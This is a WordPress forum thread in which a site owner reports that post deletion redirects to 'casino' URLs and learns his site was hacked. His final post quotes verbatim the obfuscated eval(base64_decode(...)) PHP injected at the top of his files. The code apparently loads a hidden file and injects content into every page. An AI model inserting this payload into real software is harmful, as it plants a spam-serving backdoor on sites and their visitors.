WordPress.org

Forums

Cannot Delete Post may have been hacked (6 posts)

  1. tmoflash
    Member
    Posted 6 years ago #

    I am not really sure what happened but it is very strange

    The posts will not delete and it actually goes to another page look at link below for screen shot it goes from 0=999

    I am afraid I was hacked - not sure how or even when. I looked at the edit.php file and it had some strange coded garbage at the top, I deleted it but it is still acting in the same manner.

    http://theord.com/images/wordpressHacked.png

  2. whooami
    Member
    Posted 6 years ago #

    I am afraid I was hacked

    Theres no question in this post.

    Do you have a question?

  3. tmoflash
    Member
    Posted 6 years ago #

    Sorry I cannot delete a post it when I do I get this page

    http://theord.com/wp-admin/edit.php/?casino=0
    http://theord.com/wp-admin/edit.php/?casino=1
    http://theord.com/wp-admin/edit.php/?casino=2
    http://theord.com/wp-admin/edit.php/?casino=3
    http://theord.com/wp-admin/edit.php/?casino=4

    except it goes all the way to 999 I do not know why it is doing this?

    My question is have I been hacked and/or how do I get this fixed?

    Sorry for any confusion.

  4. whooami
    Member
    Posted 6 years ago #

    My question is have I been hacked

    Yes, you have.

  5. tmoflash
    Member
    Posted 6 years ago #

    anyway I can fix this? Is it in the Database or is it a file? How could this of happened?

  6. tmoflash
    Member
    Posted 6 years ago #

    Here is what I found on top of everyone of my *.php pages

    <? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFpc3NldCgkR0xPQkFMU1sic2hfbm8iXSkpeyRHTE9CQUxTWyJzaF9ubyJdPTE7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj0iL21udC93MDYwMS9kMzgvczE4L2IwMjdlNTdmL3d3dy9uZmJsb2cvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCI7aWYoZmlsZV9leGlzdHMoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qikpe2luY2x1ZGVfb25jZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygiZ3pkZWNvZGUiKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygidiIsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319aWYoZnVuY3Rpb25fZXhpc3RzKCJnbWwiKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJkZ29iaCIpKXtmdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoIkNvbnRlbnQtRW5jb2Rpbmc6IG5vbmUiKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goIi9cPGJvZHkvc2kiLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIvKFw8Ym9keVteXD5dKlw+KS9zaSIsIiQxIi5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCJkZ29iaCIpO319')); ?>

    This is ridiculous I will never know why these Hackers/Spammers do what they do.

    Anyway I think I can fix it, it will jsut take some time.

    I also changed all the permissions to all my files - I learned something today so I am going to use this as a blessing and move forward.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.